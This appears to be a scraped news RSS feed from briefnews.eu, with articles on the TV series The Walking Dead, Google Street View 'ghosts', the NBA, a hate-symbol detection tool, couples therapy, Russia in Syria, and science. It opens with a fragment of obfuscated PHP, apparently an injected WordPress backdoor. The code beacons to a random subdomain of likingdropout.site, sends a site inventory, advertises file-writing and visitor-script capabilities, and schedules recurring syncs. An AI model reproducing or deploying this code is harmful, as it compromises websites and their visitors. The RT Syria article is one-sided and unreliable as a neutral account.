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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); lurking – Brief News https://briefnews.eu Latest World News. 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As Season 10 of The Walking Dead hurls our heroes into battle with the walker-skin-wearing Whisperers, the denizens of Alexandria and the Hilltop will have to contend with a danger that’s arguably even greater than their nemeses: paranoia.

“Both sides are wondering, ‘Are people sneaking into our territory? Is there a way that we can turn people on the other side?’” showrunner Angela Kang tells TVLine. “There’s a much more tense, kind of crackling feel to the way they’re interacting with each other as tensions continue to mount. And there are lots of plot twists and turns within that tension as it amps up over time.”

Clearly, this conflict isn’t going to play out like the Saviors War, Part 2. “We’re in a different time in the apocalypse,” Kang points out. “From the trailer, you can see that [our protagonists are] training with different kinds of weapons. They’ve kind of moved into a more forged/medieval style that the blacksmiths are making.

“In this world, our people have the ability to manufacture bullets,” she adds, “but is that really the best use of resources or time, given that, when you’re dealing with a lot of zombies for the most part, you want something that’s reusable, that you can have in hand that’s hefty — quiet, too. Bullets are going to just draw more zombies. Our people have learned to fight in a different, more collaborative way.”

the-walking-dead-whisperers war season 10 preview angela kangIt’s not just the weapons in the Whisperers war that will differ from the ones in the Saviors war, either. “A lot of the Saviors war was sort of a strategic back-and-forth that wound up in battles,” says Kang. “Here, you’re dealing with a nomadic group that doesn’t have a headquarters, so that’s a different type of conflict. There are stories that have to do with the tensions that exist when you are sharing a border that one side does not agree with and that is causing them problems in their day-to-day.”

Season 10 of The Walking Dead premieres on AMC Sunday, Oct. 6 (9/8c).

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]]> https://briefnews.eu/the-walking-dead-ep-angela-kang-reveals-the-biggest-danger-lurking-in-season-10s-looming-whisperers-war/feed/ 0 Google Maps Street View: Very creepy figures spotted lurking in spooky cemetery https://briefnews.eu/google-maps-street-view-very-creepy-figures-spotted-lurking-in-spooky-cemetery/ https://briefnews.eu/google-maps-street-view-very-creepy-figures-spotted-lurking-in-spooky-cemetery/#respond Wed, 29 Aug 2018 21:28:11 +0000 http://briefnews.eu/google-maps-street-view-very-creepy-figures-spotted-lurking-in-spooky-cemetery/

Google Maps Street View has captured a very spooky image set in a graveyard in the US.

The shot is, at first glance, of a picturesque green, wooded area with late afternoon sunlight streaming through the trees.

It was taken at Martha Chapel Cemetery in Texas, USA, which in itself sets a foreboding tone to the image.

Moreover, when you look closer, at the tree directly in front of the camera, the photograph develops a sinister feel.

The face of a little girl can be seen peering out behind the tree trunk. But the girl appears to be oddly grey-faced making her seem all the more ghostly.

If that wasn’t enough to chill the viewer, a second figure lurks behind the little girl.

To the left of the ashen-faced girl and behind a row of trees, gravestones can be seen.

Among them, on close inspection, a hooded figure stands entirely dressed in black.

The figure stands behind a gravestone but the bad quality of the image prevents the user from seeing which direction they are facing. Could it be straight at the little girl?

A video of the image on Google has been viewed over 10,000 times with viewers offering their thoughts on what the eerie figures could mean.

One person commented: “The first looks like definitive proof of something.”

Another added: “Perhaps of a murder or simply could have died in an accident. Either way, its poor soul is out roaming this Earth.”

A third viewer said: “Creepy – gives me the chills!”

This is far from the first time creepy figures have been spotted on Google Maps Street View.

Google Maps has photographed a very normal-looking house on a corner of the street – but what can be seen through one of the top windows is like something out of a nightmare.

In the top left window, a highly sinister figure can be seen lurking, looking out across the street. 

Its head can be seen in the top left pane, with two eyes staring intensely at the viewer.

Nothing else can be seen of the figure’s body as the bottom panes appear to be obscured.

The hairless, pale figure is made even more chilling due to its overly long fingers which are help up against the glass.

A person can be seen walking across the street towards the house leaving the viewer almost wishing they could warn them about the sinister figure inside.

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The Thunder were knocked out of the NBA playoffs last night after losing Game 6 to the Utah Jazz 96-91.

It brought an end to George’s first year in Oklahoma with attention swiftly turning to what he will decide to do this summer in free agency.

It came as a shock to many when he decided to join the Thunder last summer in what was seen as a trial year alongside Russell Westbrook and Carmelo Anthony.

Several reports have suggested George has his heart set on a move to the Los Angeles Lakers in the summer.

However, the 27-year-old stated after the game against Utah that he would like to remain in Oklahoma.

“It was an amazing season,” George said.

“[It was] really a learning experience playing off Russ, playing off Melo, Stevo and seeing the potential of having Dre [Andre Roberson] out there.

“It was a lot to be happy about. The fans, the city, the organisation. Everything has been unbelievable.

“It’s too soon. I’d love to remain a Thunder but that’s what this summer is for so we’ll address that in the summer.”

There have also been reports suggesting the Philadelphia 76ers could make a move for George in the summer with a lot of it depending on what LeBron James decides to do after the playoffs.

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]]> https://briefnews.eu/paul-george-trade-thunder-star-drops-major-free-agency-hint-with-lakers-lurking/feed/ 0 This ex-NSA hacker is hunting white supremacists and hate groups lurking on Twitter https://briefnews.eu/this-ex-nsa-hacker-is-hunting-white-supremacists-and-hate-groups-lurking-on-twitter/ https://briefnews.eu/this-ex-nsa-hacker-is-hunting-white-supremacists-and-hate-groups-lurking-on-twitter/#respond Fri, 05 Jan 2018 00:46:31 +0000 http://briefnews.eu/this-ex-nsa-hacker-is-hunting-white-supremacists-and-hate-groups-lurking-on-twitter/ Emily Crose

  • In 2016, researchers found more than 900 hate groups operating in the US, with over 100 of them having a presence on Twitter.
  • Twitter has declared a ban on them and last month the purge began. But Twitter also got heat for doing it wrong when it banned a satire site.
  • Ex-NSA analyst Emily Crose has been single-handedly trying to make this problem easier to solve by developing an AI system that identifies “dog whistle” images.

Twitter and Facebook say hate speech is a violation of their policies but they also say it can be hard to identify who is engaged in bona fide hate speech and who isn’t.

Twitter demonstrated the problem earlier this week when it came under fire for blocking a German satirical magazine’s Twitter account after it parodied anti-Muslim comments.

Enter Emily Crose, a former NSA analyst, cybersecurity professional and former Reddit moderator.

Crose was appalled by the neo nazi marchers at Charlottesville, Virginia, and the violence that killed three people and injured dozens more. One of the people attacked and injured was Crose’s friend.

So she’s taken it upon herself to develop a technology she calls Nemisis. It uses artificial intelligence to identify white nationalists by scanning the pictures and videos they post. Nemisis is looking for the symbols they use to identify themselves, their so called “dog whistles.” These might include neo-Confederate flags or certain takes on Pepe the frog.

Her goal with NEMESIS is to help educate people but also to show social media sites how they can find white supremacists and “enforce some decency on their own platforms,” she told Motherboard’s Lorenzo Franceschi-Bicchierai.

Crose explained to Business Insider that the idea for the tech didn’t come directly from her work at the NSA. “What I did for Nemesis I had to learn entirely on my own.”

She used TensorFlow to train her app to spot the images, a popular free and open source AI development technology created by Google.

“I’m currently working on porting the beta system to a production system that we can then run on a front end with Twitter,” she tells us.

In other words, she’s just about ready to use her homemade tool to go hunting for white supremacists on Twitter.

“If I can do this as an individual with few resources, @TwitterSafety should be able to do this easily. The question is, why haven’t they?” she said in a tweet.

Last month, Twitter proved that it was getting serious about the problem, although it remains to be seen how well it will be able to root out hate groups and keep them from coming back. Twitter did begin suspending accounts on December 18, dubbed the #twitterpurge.

Perhaps Nemesis will inspire Twitter to do more. Here’s a peek at how it works from a video Crose posted on Twitter.

NOW WATCH: Here’s what Apple cofounder Steve Wozniak thinks of the net-neutrality battle — and why it matters

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]]> https://briefnews.eu/this-ex-nsa-hacker-is-hunting-white-supremacists-and-hate-groups-lurking-on-twitter/feed/ 0 Couples think they go to counseling because of money, sex, and parenting — but therapists know the real problem is usually lurking underneath https://briefnews.eu/couples-think-they-go-to-counseling-because-of-money-sex-and-parenting-but-therapists-know-the-real-problem-is-usually-lurking-underneath/ https://briefnews.eu/couples-think-they-go-to-counseling-because-of-money-sex-and-parenting-but-therapists-know-the-real-problem-is-usually-lurking-underneath/#respond Mon, 11 Dec 2017 05:55:01 +0000 http://briefnews.eu/couples-think-they-go-to-counseling-because-of-money-sex-and-parenting-but-therapists-know-the-real-problem-is-usually-lurking-underneath/ couples retreatUniversal Pictures

  • Couples say the main reasons they come to therapy are money, sex, and parenting.
  • But one therapist says the real reason is that each person is frustrated in their search for validation.
  • It’s the therapist’s job to help the couple get to the bottom of the issue and share their feelings.

Everyone knows marriage is hard, but it’s easy to feel like your marriage is really hard — like your partner is the first partner in history to nag or nitpick or leave dishes in the sink and expect you to clean them.

But ask a couples therapist and they’ll tell you: Not so much. No twosome is a snowflake.

“I haven’t really met a couple yet with uncommon struggles,” Michael McNulty told me.

I asked McNulty, a master trainer at the Gottman Institute and the founder of the Chicago Relationship Center, about the most common reasons why couples seek marriage counseling. He was able to rattle them off pretty quickly: problems with money, physical intimacy, and parenting.

When I posed a similar question to Hal Runkel, a marriage and family therapist, and the author of multiple books on parenting and relationships, he listed the same exact three issues. But Runkel also distinguished between the reasons couples say they’ve come to therapy and the real problems that are plaguing their relationship.

“The presenting issue is not usually the real issue,” Runkel told me — and it’s his job to help the couple uncover it.

The real issue? “People are scared that in order to be fully married to this person, they’re going to have to become a different person themselves,” Runkel said. Either they’re afraid that they’ll be rejected by their partner for being themselves — or they already have been rejected.

“What we’re all searching for is this sense of validation,” or someone who knows us and still accepts us, Runkel said.

A new survey of 1,000 engaged, married, and divorced people, from MidAmerica Nazarene University, found that people think couples attend marriage counseling because of problems with children, work, communication, money, infidelity, in-laws, and parenting style, in that order.

But the actual reasons why couples report finding themselves on the proverbial couch are communication, infidelity, money, children, parenting, in-laws, and work, in that order.

The survey also found that 49% of participants had been to marriage counseling before age 30. That includes premarital counseling, which in some religions is required.

Couples often seek counseling during tough life transitions

Both McNulty and Runkel mentioned that couples also seek marriage counseling during life transitions. The key ones are getting married, becoming parents, becoming empty-nesters, and retiring.

When couples become parents, they often struggle to find time and energy for each other, McNulty said. Then, when their children leave the house, they sometimes realize that they’ve invested so much time in parenting that they “forgot how to connect.”

These transition periods — especially the transition to parenting — are also prime breeding grounds for infidelity, McNulty added. Partners may start to become distant from one another, making them vulnerable to other people swooping in. (“Marriages often die more by ice than by fire,” McNulty said.)

Ultimately, the therapist’s role is to make each partner feel understood — both by the therapist and by their partner.

Runkel described his therapeutic process this way: “Discover who you really are and represent that as authentically as possible to your spouse,” and have them do the same. “What they do with that information is then up to them.”

NOW WATCH: A relationship psychologist explains why marriage seems harder now than ever before

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Google Maps has enabled people all over the world to see sights they never thought possible. 

But there are some images you might wish you didn’t see. 

Street View captured a few disturbing additions to an otherwise ordinary scene on the outskirts of Mexico. 

The image showed a two-lane road with several cars driving along it, headed in the opposite direction of the camera. 

There were four men in the photo also, two on each side of the red car closest to the lens.

But it’s what they were wearing that captured the attention of viewers. 

Each man had a spooky mask on his head, including a Scream mask and a werewolf mask. 

One of them was also holding a long straight unidentifiable object in his hand. 

To make matters even more creepy, all of the men in the group were staring directly at the camera. 

It’s unclear what the group was doing or why they were wearing their bizarre costumes. 

Snow speckled the ground, which stretched flat as far as the eye could see. 

But in the centre of the photograph was a field filled with some very strange visitors. 

At first glance it appeared there were people congregated in the space, but zooming in revealed the real occupants. 

The field was filled with lines and lines of scarecrows.

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]]> https://briefnews.eu/google-maps-mystery-this-street-view-image-has-something-disturbing-lurking-in-it/feed/ 0 2 years of Russia in Syria: ISIS shrinking, Iran & Turkey linking, conflict risk with US lurking https://briefnews.eu/2-years-of-russia-in-syria-isis-shrinking-iran-turkey-linking-conflict-risk-with-us-lurking/ https://briefnews.eu/2-years-of-russia-in-syria-isis-shrinking-iran-turkey-linking-conflict-risk-with-us-lurking/#respond Sat, 30 Sep 2017 07:59:48 +0000 http://briefnews.eu/2-years-of-russia-in-syria-isis-shrinking-iran-turkey-linking-conflict-risk-with-us-lurking/ This Saturday marks the end of the second year of Russia’s military operation in Syria. It’s seen some setbacks, a few major victories, the potential to end the bloody conflict and the risk of rapid descent into a conflict between Russia and the US.

Russia’s campaign in Syria was officially launched on September 30, 2015, following several weeks of preparing a base of operations near Latakia and transporting military assets there.

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Acting on a request from the Syrian government, Moscow said its involvement was necessary to prevent jihadist forces from taking over the country and turning it into a major hotbed of terrorism, which would threaten Russia as well as other countries.

RT takes a look at major events that happened over the second year of the Syria campaign.

Capture of Aleppo

In September 2016, Syrian government forces with Russian air support began an operation to capture Aleppo, once Syria’s manufacturing capital. The city at the time was divided into roughly equal parts, with the western half controlled by Damascus forces and the eastern part held by several armed groups opposing them. Among the militants on the so-call ‘rebel’ side was a significant presence of hardcore jihadists from the group best-known as Al-Nusra Front.

The intermingling of the groups was a constant source of tension between the US and Russia, with Washington accusing Moscow of targeting “moderate” groups in Aleppo, and Moscow complaining that the US was unable to pressure “good” rebels to stay clear of “bad” terrorists. This failure was cited by Russia as a major factor leading to a collapse of a ceasefire agreed by the two nations under the Obama administration, which led to the Aleppo offensive.

The nature of urban fighting combined with the rebel groups’ reluctance to allow civilians to leave their part of the city resulted in a heavy death toll. The blame for the civilian casualties was squarely laid on Russia by Western politicians and mainstream media, with terms like “war crimes” and “barbarism”used liberally.

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The accusatory coverage or operation rose to a crescendo in December 2016, when so-called ‘civilian journalists’ bombarded Western audiences with ‘last goodbyes from the Russia-destroyed Aleppo’. The desperate call proved to be ridiculous, as days or weeks later the same people were safely evacuated from the city.

The reality of Aleppo months after its capture by the Syrian Army is that hundreds of thousands of displaced people returned there, despite residual problems any city that endured years of battles would have.

Palmyra loss & recapture

While gaining ground in the west of Syria, Damascus forces suffered a setback in Palmyra, an ancient and culturally-significant city in the central part of the country. The terrorist group Islamic State (IS, formerly ISIS/ISIL) amassed a strong force and took back the city, which it had lost in March 2016.

The liberation of Palmyra was a key achievement for Russia’s campaign in 2016, so losing Palmyra back to the same jihadists was a humiliation, even if it only lasted for several months. In March, Damascus was able to free up enough forces previously engaged in the Aleppo siege to push IS out of Palmyra.

Deir ez-Zor operation

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The current focus for Damascus and Russia is Deir ez-Zor governorate in the east of Syria. The eponymous provincial capital remained under IS siege for years, with the militants controlling the rural part of the province and outskirts of the city, and the government loyalists holding the center. With supply lines cut by the blockade, the garrison had to rely on high-altitude airdrops to continue fighting.

The blockade was finally lifted in early September 2017, a development that Russia considers a turning point for defeating IS in Syria. At the moment, some 87 percent of the Syrian territory is under control of Damascus, according to the estimate of the Russian Defense Ministry.

The Islamist group still controls parts of Raqqa, a city considered its ‘Syrian capital’, but it is expected to fall in the hands of US-backed predominantly Kurdish Syrian Democratic Forces (SDF) before year’s end.

The Deir ez-Zor offensive also marked the most significant loss by the Russian military in its modern history. Lieutenant-General Valery Asapov, the senior member in the group of Russian advisers helping the Syrian Army, was killed along with two aides in shelling. This increased the number of Russian troops killed during the operation reported by the Defense Ministry to 35.

While IS remains a credible threat in some parts of Syria and does not hesitate to poke both troops loyal to Damascus and the Kurdish militias, the group’s attention has apparently shifted to other parts of the world such as Libya. And with this common enemy all but defeated, the future becomes uncertain over whether other parties of the conflict can overcome their differences, especially with the Americans joining the action full-swing.

US boots on the ground

US President Donald Trump’s many broken election promises included changing the Obama-era policy on Syria and striking a deal with Russia to defeat IS together. What happened instead is more US involvement in Syria and an increasing risk of an armed conflict with Russia.

The new US administration’s Syria campaign started with an incident in Khan Shaykhun, a small town in Idlib governorate controlled by the rebels.

The incident was described by the White House as a chemical weapons attack by the Syrian government, with the media uncritically supporting the narrative while dismissing evidence and arguments to the contrary. So far, no on-site inspection of the alleged attack site by international inspectors has been conducted.

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Trump milked the incident to get a moment of almost universal domestic praise, when he ordered a barrage of Tomahawk missiles to obliterate the airbase from which the supposed attack was launched. He even bragged about it to visiting Chinese President Xi Jinping, who didn’t comment on whether he appreciated the after-dinner entertainment.

The Tomahawk show of force reportedly had a minimal effect on Damascus military capabilities. It also paved the way for much stronger US presence on the ground in Syria. Under Obama it was limited to small-scale missions of special operations forces, but Trump allowed the Pentagon to send in the US Marines along with artillery and other heavy weapons, de facto occupying part of Syria.

It’s not like the flights of the American-led coalition through Syrian airspace were any more legal, but the mew deployment made US disregard for international law even more glaring.

Conflict with Russia looming

The Americans are propping up the Syrian Democratic Force, a coalition of militias dominated by Kurdish fighters, which the US chose over Turks to lay a siege on Raqqa. The decision further strained Washington’s relations with its NATO ally, which sees any empowerment of Kurds in Syria or Iraq as an indirect support of Kurdish guerrillas in its own territory. American support of Kurdish militias is nothing new, but Trump’s move seems to have alienated Ankara enough for it to imply that Turkey may need to shoot down American-made warplanes.

America’s support of militias in Syria goes beyond just arms and training. Over the past few months, American forces have attacked troops loyal to Damascus on several occasions for allegedly violating borders of US-controlled zones.

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More importantly, the SDF has its own agenda, which goes beyond defeating IS, and it puts it at odds with the Syrian Army. Oilfields in Deir ez-Zor governorate may still be under jihadist control, but whichever side manages to capture them will have better chances of keeping them and profiting from extraction in the future.

The tension between the local players apparently spills out on their foreign backers. The tone of the Russian Defense Ministry reports on the Syrian campaign has been turning increasingly hostile towards the US this month. Moscow laid the blame on Washington for triggering last week’s surprise jihadist offensive from Idlib governorate, which put three dozen Russian military police troops at risk of being captured or killed.

Russian media reported that the accusation came after intelligence on the units’ positions, which Russia reported to the US, was shared with a “moderate” group and later leaked to the Islamists.

The Russian military said SDF shillings of positions of the Syrian army in Deir ez-Zor endangered Russian military advisors embedded there and threatened retaliation. And a senior Russian diplomat attributed the death of the Russian General to American “hypocrisy”, with Washington rejecting the assentation.

Some reports indicate that American troops on the ground could have been killed by Russian warplanes, an allegation that Moscow denies.

Nevertheless, the risk of a direct military confrontation between Russia and the US in Syria seems to be rising.

Peace is possible

On the bright side, dramatic changes in attitudes are possible in the Syrian conflict, as evidenced by Russia’s rapprochement with Turkey. Last year the two nations seemed to be on the brink of a shooting war, after Turkey shot down a Russian warplane in November 2015. Now Moscow and Ankara seem to have overcome their differences and are working together with Iran on stopping the war in Syria.

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The spectacular transformation was evidenced during the last days of the battle for Aleppo. It was the trilateral agreement between Russia, Turkey and Iran that allowed the negotiation of an end to hostilities there and an evacuation of those unwilling to live under Damascus control.

Later the same deal-makers negotiated so-called de-escalation zones, an ongoing mechanism meant to curb violence in Syria and eventually lead to a country-wide truce.

The plan is progressing, with some rough moments like the latest jihadist offensive from Idlib, but it seems to have succeeded in curbing the violence in Syria. Some observers say it amounts to a partitioning of the country, an allegation that Moscow strongly denies.

Russia says stopping the violence and reducing humanitarian suffering is necessary to give the Syrians a chance to talk out how they want to live.

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]]> https://briefnews.eu/2-years-of-russia-in-syria-isis-shrinking-iran-turkey-linking-conflict-risk-with-us-lurking/feed/ 0 Portuguese men-of-war: Killer creatures lurking in Cornish waters https://briefnews.eu/portuguese-men-of-war-killer-creatures-lurking-in-cornish-waters/ https://briefnews.eu/portuguese-men-of-war-killer-creatures-lurking-in-cornish-waters/#respond Wed, 13 Sep 2017 16:07:06 +0000 http://briefnews.eu/portuguese-men-of-war-killer-creatures-lurking-in-cornish-waters/ Killer creatures have washed up on British beaches sparking a warning from lifeguards.

Groups of Portuguese men-of-war, which can deliver a fatal sting, have travelled into UK waters, leading to a warning for beachgoers and dog-walkers.

An ‘unprecedented’ number have now been spotted off the Cornish coast, with more than 140 of the floating, tentacled organisms seen in three days.

In previous years there have been no more than 40 seen, and only three sightings were reported in 2016, the Cornish Wildlife Trust said.

The men-of-war are not in fact jellyfish, but “floating colonies created by coral-like hydroids”.

However, their long tentacles can cause painful stings, and experts are warning parents to recognise what they look like.

“The stings can be unbelievably painful and in rare cases, fatal,” MCS’s head of ocean recovery, Dr Peter Richardson, said.

“Recent persistent winds have blown them from the Atlantic on to our shores.

“Because a stranded Portuguese man o’ war looks a bit like a deflating purple balloon with blue ribbons attached, children will find it fascinating.

“So, if you’re visiting west coast beaches in the next few weeks it’s well worth making sure you know what these animals look like and that no one picks them up.”

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The huge number of sightings has been caused by strong winds blowing the coastline.

Due to the number of sightings posing a risk to swimmers, the RNLI closed the bathing area on Perranporth today.

“Lifeguards have also been keeping a close surveillance (sic) on other beaches”, the charity said.

“This is an unprecedented event and we urge the public to be cautious and to keep an eye out for unusual species being stranded” Matt Slater, Marine Awareness Officer for Cornwall Wildlife Trust said.

“We may see other rare, warm-water species washing up.”

Members of the public are being encouraged to ring the Cornwall Wildlife Trust’s hotline to report strandings on 0345 2012626.

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]]> https://briefnews.eu/portuguese-men-of-war-killer-creatures-lurking-in-cornish-waters/feed/ 0 Our galaxy’s second biggest black hole may be “lurking” in a gas cloud https://briefnews.eu/our-galaxys-second-biggest-black-hole-may-be-lurking-in-a-gas-cloud/ https://briefnews.eu/our-galaxys-second-biggest-black-hole-may-be-lurking-in-a-gas-cloud/#respond Thu, 07 Sep 2017 09:46:14 +0000 http://briefnews.eu/our-galaxys-second-biggest-black-hole-may-be-lurking-in-a-gas-cloud/

Enlarge / No, that’s not an oddly shaped black hole. It’s a molecular cloud, which absorbs most wavelengths of light, making it hard to see what’s inside. (credit: FORS Team, 8.2-meter VLT Antu, ESO)

The biggest object in our galaxy is remarkably difficult to see. The core of our galaxy houses a supermassive black hole that weighs in at over a million times our Sun’s mass. And when it’s actively feeding on matter, it should be very bright. Yet for years, all we knew was that there was some sort of radio source there.

Evidence of a black hole at the center of our galaxy came indirectly by tracking the orbit of a nearby star. This demonstrated that there had to be something extraordinarily heavy in a very small region of space, strengthening the case that the object was an immense black hole.

Now, researchers are making a similar case for what may be the second-biggest black hole in the Milky Way. The object appears to be buried in a gas cloud that’s keeping it obscured. But the gas itself is moving fast enough that calculations suggest that a 100,000 solar-mass black hole is holding it together. That would make the object an intermediate-mass black hole. While intermediate-mass black holes play a key role in many cosmological models, we have yet to confirm any actually exist.

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]]> https://briefnews.eu/our-galaxys-second-biggest-black-hole-may-be-lurking-in-a-gas-cloud/feed/ 0 A Whole Lot of Magma Is Lurking Under Taipei https://briefnews.eu/a-whole-lot-of-magma-is-lurking-under-taipei/ https://briefnews.eu/a-whole-lot-of-magma-is-lurking-under-taipei/#respond Sun, 26 Feb 2017 10:20:58 +0000 http://briefnews.eu/a-whole-lot-of-magma-is-lurking-under-taipei/ A Whole Lot of Magma Is Lurking Under Taipei

A new study suggests a magmatic system as large as 350 cubic kilometers sits below the city. Oh, and India experienced an eruption. The post A Whole Lot of Magma Is Lurking Under Taipei appeared first on WIRED.
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